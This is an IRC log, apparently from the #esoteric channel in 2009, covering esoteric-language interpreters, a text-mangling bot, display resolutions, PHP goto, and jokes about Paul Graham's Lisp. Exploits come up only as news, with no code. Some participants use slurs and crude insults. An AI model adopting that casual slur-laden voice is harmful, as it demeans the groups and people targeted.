15:24:51 <oerjan> so you can keep adding new halting problem deciders for the previous level, ad nauseam
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15:45:09 <Deewiant> Hahaha http://torrentfreak.com/pirate-bay-nemesis-has-name-changed-by-pranksters-090607/
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16:08:02 <oerjan> !swedish gurkar i små burkar
16:09:43 <oerjan> !swedish gurkar som torkar i små burkar
16:09:44 <EgoBot> goorker sum turker i små boorker
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16:12:15 <oerjan> !swedish gurkar som torkar i små burkar med bark
16:12:15 <EgoBot> goorker sum turker i små boorker med berk
16:12:33 <oerjan> it just won't take a hint!
16:12:42 <pikhq> !swedish Bork bork bork!
16:12:42 <EgoBot> Burk bork bork! Bork Bork Bork!
16:12:59 <pikhq> !swedish Burk bork bork! Bork Bork Bork!
16:13:00 <EgoBot> Boork bork bork! Bork Bork Bork! Bork Bork Bork!
16:15:03 <oerjan> !swedish Vi torkar gurkar i små burkar med bark.
16:15:04 <EgoBot> Fee turker goorker i små boorker med berk. Bork Bork Bork!
16:15:30 <oerjan> !swedish stupid punctuation!
16:15:30 <EgoBot> stoopeed poonctooeshun! Bork Bork Bork!
16:17:40 <oerjan> !swedish what about commas, i wonder
16:17:41 <EgoBot> vhet ebuoot cummes, i vunder
16:18:32 <pikhq> !swedish Bork? Bork? Bork? ¿Bork‽
16:18:32 <EgoBot> Burk? Bork? Bork? ¿Bork‽
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19:25:05 <lifthrasiir> FireFly: if you are still interested, this is my implementation of Migol 09 in C: http://hg.mearie.org/esotope/migol/
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19:30:07 <FireFly> That's impressive, I believe it's the biggest effort done with Migol so far?
19:31:59 <lifthrasiir> maybe i can now start bigger project with it. XD
19:34:06 <lifthrasiir> MigoMipo: http://hg.mearie.org/esotope/migol/ Migol interpreter in C.
19:34:30 <MigoMipo> lifthrasiir: I know, really impressive!
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19:34:45 <MigoMipo> I wrote my interpreter using nothing but the standard Regular Expression classes in Java. It is a bit slow.
19:47:11 <FireFly> Hm.. It isn't telling you which row/statement is errorneous, if it errors while parsing the code?
19:48:05 <lifthrasiir> FireFly: for now, right. maybe implemented someday. :p
19:48:55 <FireFly> I guess I'll just binary sort through my code then
19:49:44 <lifthrasiir> FireFly: if you really want, change if (0) to if (1) in migol-parse.c.
19:50:00 <lifthrasiir> it should print out internal compiled code.
19:50:01 <FireFly> Ah, right, I forgot it was open source ._.
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19:51:13 <lifthrasiir> anyway printing verbose report requires some changes, which is not done for simpler initial code.
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20:06:57 <FireFly> Ah.. It raised an error on 'ö>
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21:43:23 <ehird> 22:19:58 <warrie> ehird: it appears that you searched reddit for comments mentioning Nomic.
21:43:30 <ehird> What gave you that idea?
21:43:37 <ehird> 23:49:52 <GregorR> Funny, when I make font sizes huge they look ginormous on my 16" monitor, but tiny on my .5" :P
21:43:41 <ehird> Set your dpi right, foo :P
21:43:49 <ais523> ehird: did you then search reddit for nomic comments upon warrie giving you the idea?
21:44:25 <ehird> http://www.reddit.com/user/ehird/
21:44:28 <ehird> I only see one nomic c omment
21:44:39 <GregorR-L> ehird: No DPI on "I'm outputting to fucking composite" display :P
21:44:50 <ehird> GregorR-L: Fontconfig dpi, you weetard.
21:45:05 <ehird> It makes things Work(TM).
21:45:26 <ehird> Gnome has a nice settings panel to set it; no fuckin' clue how you set it in the config files.
21:45:34 <ehird> Poke around fontconfig stuff and do the dpkg-reconfigure then :P
21:45:41 <ehird> GregorR-L: Thus what I said
21:46:10 <ehird> 02:07:04 <Deewiant> Evidently P != NP http://arxiv.org/abs/0906.1084
21:46:30 <ehird> arxiv should rename to quaxiv
21:47:02 * GregorR-L prepares to snag some delicious nick somebody forgot about :P
21:47:11 <ehird> ais523: because half of the stuff on there is deliciously quacky
21:47:16 <ehird> (due to being free-for-all)
21:47:21 <ais523> GregorR-L: what about "estoppel"?
21:47:36 <ais523> also, the paper does superficially look plausible
21:47:39 <ehird> ooh, I forgot about that nick
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21:47:58 <ais523> but of course that probably means it's just good at being plausibly fakse
21:48:09 <estoppel> 02:21:35 <Patashu> bouncing billard balls off each other and stuff
21:48:40 <estoppel> 02:45:47 <lereah_> http://3.bp.blogspot.com/_U-4kIJCjlwU/SYqA1a91R8I/AAAAAAAAA14/h-6Ye2i5pqM/s320/teacup+duck+2.JPG
21:50:17 <estoppel> 06:55:57 <whtspc> but I don't know if you can put a whole circuit diagram in a line of text
21:50:35 <estoppel> 06:59:35 <ais523> VHDL bans recursion, simply because it has to be sub-TC to be able to compile into hardware
21:50:45 <estoppel> VHDL's result is TC w/ infinite memory, right?
21:50:57 <estoppel> (say, it's hooked up to an infinite memory store)
21:51:22 <estoppel> 07:45:09 <Deewiant> Hahaha http://torrentfreak.com/pirate-bay-nemesis-has-name-changed-by-pranksters-090607/
21:51:29 <estoppel> funny, but... it was a day before the elections
21:51:46 <estoppel> the conspiracist in me says "they were trying to discredit piratpartiet"
21:52:09 <GregorR-L> ehirdstoppel: Holy fekking wow! That just works!
21:52:47 <ais523> estoppel: VHDL doesn't have syntax for accessing an infinite memory store
21:52:59 <ais523> it's really really hard to link VHDL up to unbounded memory, by design
21:53:07 <ais523> although you might be able to do it via debug input/output
21:53:21 <GregorR-L> Something I'd never heard of. And it just fekking works. That's going to help my wearable a LOT
21:53:37 <estoppel> You may thank me in the form of rare IRC nickname registrations.
21:53:55 <estoppel> GregorR-L: what res is that .5" display
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21:54:45 <estoppel> GregorR-L: i assume decent, as a wearable computer that's blocky is useless
21:54:48 <estoppel> GregorR-L: btw can it work as a visor?
21:54:56 <estoppel> you have it covering your vision and it relays a camera
21:55:03 <estoppel> (would have to be a fast-taking and high-res camera)
21:55:08 <estoppel> then you could like, overlay HUDs and shit on it
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21:56:22 * oerjan thinks a visor with, say 0.5 s delay could lead to some hilarious situations
21:56:52 <estoppel> GregorR-L: that's kind of lame
21:57:00 <estoppel> everything will be blocky and pixelated
21:57:08 <ais523> that's, what, about 1000 dpi
21:57:12 <estoppel> ais523: half an inch right next to your eye
21:57:23 <ais523> 640x480 is apparently more than enough for VR goggles
21:57:27 <GregorR-L> estoppel: You need to lighten up, we're in 2009, not 2209.
21:57:35 <ais523> because you can move your head in order to simulate a bigger display
21:57:51 <estoppel> GregorR-L: is your display oled?
21:58:00 <ais523> as in, showing just 640x480 at a time, combined with head/eye movements, gives you tens of thousands of pixels in each direction
21:58:14 <estoppel> ais523: yes, but if you just stand there, everything will be very unrealistically blocky
21:58:15 <ais523> apparently 640x480 VR goggles are good for programming with
21:58:16 <GregorR-L> estoppel: I honestly don't know, I dissected it from a Myvu Crystal.
21:58:41 <estoppel> GregorR-L: you got this a while ago right?
21:58:49 <estoppel> I don't know of any 1600dpi OLED display
21:58:53 <GregorR-L> If by a while you mean a few months, then yes.
21:59:50 <GregorR-L> SO IS YOUR FACE. No wait, that came out wrong.
22:00:36 * pikhq is in the middle of a severe thunderstorm. \o/?
22:02:52 * myndzi estoppel: you suck dicks
22:03:14 <GregorR-L> <estoppel> Looks like I'm committed now.
22:03:27 * ais523 myndzi ais523 myndzi estoppel
22:03:27 * myndzi ais523 myndzi ais523 estoppel
22:03:36 <ais523> seems to be straightforward substitution
22:03:46 <tetha> and it produces pretty patterns
22:03:50 <estoppel> I was hoping for a TWO-PRONGED ATTACK.
22:04:01 -!- BeholdMyGlory has quit (Remote closed the connection).
22:04:05 <ais523> ok, that dosen't trigger it
22:04:50 <estoppel> ais523: "Solve::svars: Equations may not give solutions for all "solve" variables. >>"
22:06:29 -!- pikhq_ has joined.
22:06:40 -!- pikhq has quit (Nick collision from services.).
22:06:49 -!- pikhq_ has changed nick to pikhq.
22:07:03 <estoppel> ais523: news! news! PHP have added the flexible control structure goto!
22:07:15 <ais523> how good a goto is it?
22:07:20 <ais523> C-good? Perl-good? asm-good?
22:07:36 <estoppel> WHO THE FUCK *ADDS* GOTO AS AN EXPERIMENTAL FEATURE TO A LANGUAGE‽‽‽‽‽
22:07:41 <pikhq> In other news, C++ has lambda.
22:07:43 <ais523> a high-level language doesn't need C-style gotos
22:07:55 <ais523> asm-style, yes if you're mad
22:08:32 <pikhq> But the thing is, it's another language becoming a mess for features that don't make much sense.
22:08:33 <estoppel> LOL@ guy in agora accusing xkcd of not understanding the Game's rules.
22:08:46 <ais523> estoppel: the #esoteric game takes precedence, doesn't it?
22:08:51 <pikhq> ... Right. *More* of a mess.
22:08:59 <GregorR-L> estoppel: PHP is trying to catch up with Perl in terriblocity.
22:09:14 <pikhq> Though at least C++ is doing its feature-adding vaguely sanely.
22:09:17 <estoppel> ais523: either the game never worked, or Not the Game blocks it, OR the "games can affect their playstate without you playing them" *only* applies to the Game, which is ridiculous
22:09:27 <pikhq> Adding features that increase code expressiveness.
22:09:30 <estoppel> so in 2/3 possibilities— and the most likely ones— the Game is neutralized if you want it to be.
22:09:32 <GregorR-L> pikhq: C++ just suffers from too much feature-adding, not enough (namely 0) feature-removing ;)
22:09:40 <pikhq> ... But come on. C-style gotos?
22:09:54 <estoppel> pikhq: BTW. The anti-sec guys? Yeah; they've done it again.
22:10:11 <tetha> hehe, when will php get longjumps?
22:10:28 <estoppel> they're the retarded cousin of continuations
22:10:36 <estoppel> that want so much to be like him!
22:10:59 <estoppel> pikhq: Oh, and it's another remote-login 'sploit.
22:11:11 <estoppel> pikhq: Also, a 'sploit to escape from a jailed shell.
22:11:17 <estoppel> And then they go and grab themselves root.
22:13:28 <ais523> apparently, some shared hosting people were hacked into recently via a hypervisor exploit via a SQL injection
22:13:44 <ais523> I can't really imagine quite what sort of setup you'd have to have for that to even be possible
22:13:59 <estoppel> ais523: can't some sql servers execute commands?
22:14:11 <estoppel> ais523: i guess really shitty mysql permissions let them do that
22:14:14 <ais523> you'd expect the perms to lock that down
22:14:27 <ais523> on MySQL, you'd have to go to a lot of effort to open up the perms that much
22:14:29 <estoppel> ais523: could be a bug in the server; could just be a retardedness.
22:14:37 <estoppel> just log in as root on the mysql server
22:14:42 <estoppel> it's a hypervisor; so virtualization
22:14:47 <ais523> they're locked-down by default, IIRC
22:14:48 <estoppel> so I guess you're given root-y stuff
22:14:53 <estoppel> so maybe the website owner's stupid
22:15:00 <ais523> yes, stupid website owner was my guess too
22:15:46 -!- estoppel has set topic: I'm pretty sure beavers can't communicate in English via email. | http://tunes.org/~nef/logs/esoteric/.
22:15:47 <pikhq> Jailbreaking. "Goody".
22:15:59 -!- estoppel has set topic: I'm pretty sure beavers can't communicate in English via email. | http://tunes.org/~nef/logs/esoteric/?C=N;O=D.
22:17:20 <estoppel> unimaginable binary sort anti algorithms
22:21:54 -!- pikhq has quit (Read error: 104 (Connection reset by peer)).
22:26:14 -!- MigoMipo has quit ("QuitIRCServerException: MigoMipo disconnected from IRC Server").
22:29:06 -!- olsner has quit ("Leaving").
22:31:53 <oerjan> although it seems i really want lifthrasiir
22:32:19 <oerjan> the esotope site was down, so i thought the link MigoMipo put on the wiki was wrong
22:32:27 <oerjan> but it agrees with User:Tokigun
22:37:49 -!- pikhq has joined.
22:40:37 <estoppel> Contrarian: Brian D. Foy. Brian D. Foy.
22:42:16 <pikhq> So, what'd I miss?
22:42:57 <oerjan> although mainly that the esotope site is down
22:45:04 <estoppel> since 22:21, when you last quit.
22:45:04 -!- oerjan has set topic: Till att torka gurkarna använder vi en så her björkbarkburk | logs: http://tunes.org/~nef/logs/esoteric/.
22:45:32 * oerjan knows not if he got that right, but he tried
22:45:58 <pikhq> estoppel, I lost my connection at xx:17.
22:46:23 -!- estoppel has set topic: Til at torquer good karma AnMaster vi and the her Bjork bark burk. | http://tunes.org/~nef/logs/esoteric/.
22:46:28 -!- coppro has joined.
22:46:47 <pikhq> Or, if you demand specificness: 21:17Z.
22:47:19 <oerjan> estoppel: that's not particularly funny. i tried using _real_ swedish.
22:47:37 * oerjan suspects "så" should be "sådan".
22:47:58 <oerjan> except björkbarkburk is probably only a theoretical word
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22:50:39 * coppro loves that he can log into SF with an SF url
22:51:39 <estoppel> doing so is silly, though; unless you want to use your SF login for everything
22:51:45 <estoppel> which is a weird thing to want to do
22:51:56 <ais523> I have a throwaway idbin.ca account
22:51:58 <coppro> Why is that a weird thing?
22:52:04 <ais523> but I've never got it to work
22:52:31 <estoppel> coppro: because SF are unreliable and crappy, and centralizing your online identity around a service that doesn't even have it as a major concern is bad
22:53:10 <coppro> Compared to the other various forwards I have, that one's the easiest to type, though
22:54:03 <estoppel> coppro: ah, you have it forwarded to another openid?
22:54:08 <estoppel> that's ok then, since it's just used as a shortcut
22:54:55 <coppro> I don't think they provide OpenIDs
22:55:05 <coppro> though I could easily be wrong
22:55:29 <estoppel> ofc, openid is unlikely to be adopted because of Facebook Connect's (relative) dominance
22:55:36 <coppro> I use Launchpad as my actual provider since they were the first place at which I had an account to provide it
22:56:22 <coppro> never had any issues whatsoever
22:57:38 * estoppel tried the google chrome for os x prepreprepreprealpha
22:57:44 <estoppel> it's a lot better than the recent dev builds
23:00:32 <ais523> oh dear, a commenter on Slashdot just invented browsers as webapps
23:00:48 <ais523> on the basis that you shouldn't need to download Firefox, it should just work
23:00:52 <ais523> I think he was being sarcastic though
23:01:10 <ais523> here's the thread: http://tech.slashdot.org/comments.pl?sid=1262739&cid=28271783
23:01:15 <ais523> pretty short atm though
23:01:29 * ais523 starts to wonder if that might be a good idea
23:01:36 <ais523> an IE webapp, for instance, to test rendering in IE
23:01:43 <ais523> whilst from a non-Windows computer
23:01:46 <estoppel> "Absolutely. Firefox should have been implemented as an activeX plugin.
23:01:46 <estoppel> No, wait. DHTML and javascript. And written to only run in IE6."
23:01:56 -!- GregorR-L has quit (Read error: 110 (Connection timed out)).
23:01:57 <estoppel> just takes a screenshot, though
23:02:06 <estoppel> ais523: also: java vnc on cluster of vms
23:02:07 <ais523> that doesn't count, it's server-side
23:02:16 <ais523> clearly the solution is: JSMIPS!
23:02:26 <estoppel> ais523: that's cheating, that's always the solution
23:02:38 <pikhq> Clearly the solution is: BFJS!
23:03:03 <pikhq> (thereby abstracting away the JAvascript engine!)
23:03:26 <estoppel> !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
23:03:42 <pikhq> So you have JSBFJSMIPSXUL
23:03:43 -!- ais523 has quit (Remote closed the connection).
23:07:24 <estoppel> http://www.archub.org/rewrite-login ← proof that paul graham cannot write good code
23:08:14 <pikhq> I thought it had been pretty well estabilished that he only does essays and venture capitalism well. :P
23:08:52 <estoppel> and YC is just a "Give me money for I have no business model" setup :)
23:09:18 <pikhq> See, venture capitalism.
23:09:36 <estoppel> it's kind of like saying you're good at going to the toilet.
23:09:44 <pikhq> And his essays aren't shit. They're interesting, thought-provoking, and usually horribly wrong.
23:09:55 <estoppel> requirements for doing vc well: (a) have a bunch of money. (b) have an urge to waste it all
23:10:04 <pikhq> A shitty essay fails to be interesting and thought-provoking. ;)
23:10:10 <estoppel> pikhq: but dude... he MADE VIAWEB.
23:10:15 <estoppel> How can he be WRONG? Yahoo BOUGHT IT.
23:10:42 <estoppel> It worked because lisp introspected the lispness and the parentheses printed money.
23:11:07 -!- KingOfKarlsruhe has quit (Remote closed the connection).
23:12:16 <estoppel> pikhq: You don't appear to have one.
23:12:47 <pikhq> ... That is some horrible, horrible Lisp.
23:13:05 <estoppel> (cadr (conth 1 (conth 2 nil)))
23:13:17 -!- FireFly has quit ("Later").
23:13:35 <estoppel> (We conjure the spirits of the computer with our spells We conjure the spirits of the computer with our spells We conjure the spirits of the computer with our spells We conjure the spirits of the computer with our spells ETC)
23:14:16 <pikhq> MY GOD MAN, COMMENT IT!
23:14:30 <pikhq> (rewrite-login is hurl)
23:14:48 <estoppel> I totally forgot about that haha
23:15:30 <estoppel> (AAAAAAAAAAAAAOOOOOOOOOOOOOAOAOAOAAAAAAAAAAAAAAAA)
23:16:10 <estoppel> Ah, The Sussman. Bach is delighted to collaborate with you; his only sadness is that it had to be post-humous.
23:16:28 <pikhq> estoppel: My God, you'd think Paul Graham had never heard of metaprogramming.
23:16:55 <estoppel> <pg> pikhq: CAN YOU GIVE AN EXAMPLE OF HOW METAPROGRAMMING CAN MAKE PROGRAMS SHORTERUI!"!?!?!!:{!{329874956
23:17:03 <estoppel> (literally the only thing he says to opponents)
23:17:32 <pikhq> It looks a lot like my original code for PEBBLE.
23:17:34 <estoppel> (For those who have not achieved Satori, http://dqn.dqn.lol.googlepages.com/GJS_Jay_Sussman_Feat._JSB_Sebastian_.mp3)
23:17:38 <pikhq> Needless to say, I threw that shit away.
23:17:42 <estoppel> (Having a monologue and a conversation at once is difficult)
23:17:56 <estoppel> pikhq: i like how his refactoring is _harder_ to understand
23:18:07 <estoppel> arc will never beat j for short :-)
23:18:10 <pikhq> It grew longer after the rewrite, but that's because I added a lot to it at the time.
23:18:42 <coppro> metaprogramming am good
23:18:43 <Asztal> estoppel: one must listen to the extended ``satori'' mix too
23:19:06 <estoppel> Asztal: But lo, is there not such a thing as ``[spoiler]Too Much of a Good Thing[/spoiler]''?
23:19:56 <estoppel> Asztal: Next you'll be telling me to use “ and ” instead of ``faggot quotes''.
23:20:14 <Asztal> No, I'm a fan of ``proper quotes''.
23:20:37 <estoppel> Asztal: ``Faggot quotes'', `proper quotes'.
23:20:44 <estoppel> Source: http://dis.4chan.org/read/prog/1196688306/6
23:21:08 <Asztal> I also enjoy abusing ‘ as an apostrophe, but nobody‘s annoyed about that one, as far as I can see.
23:23:28 * estoppel writes some ``J Software'' code.
23:23:45 <estoppel> I note that the non-/prog/dolytes in the audience are probably terribly confused.
23:25:48 <Asztal> I think you mean /prog/lodytes
23:26:44 * coppro doesn't even use 4chan
23:27:57 <estoppel> Programming in ``J Software'' sure would be more productive if I didn't have to bring up the reference every time I want an operation.
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23:35:16 * estoppel attempts to find J's "nest until meets condition" function
23:36:27 -!- pikhq_ has changed nick to pikhq.
23:40:55 <oerjan> to find the nest, you also have to find the easter egg
23:45:30 <estoppel> "HyperVM boss hangs himself after exploit destroys 100,000 websites"
23:45:52 <estoppel> "A zero-day hacker today has the death of one man and one hundred thousand websites on his or her conscience. "
23:46:31 <oerjan> the (reddit) comments imply it was rather dubious that was the real cause
23:48:03 <oerjan> well the hundred thousand websites part may be correct
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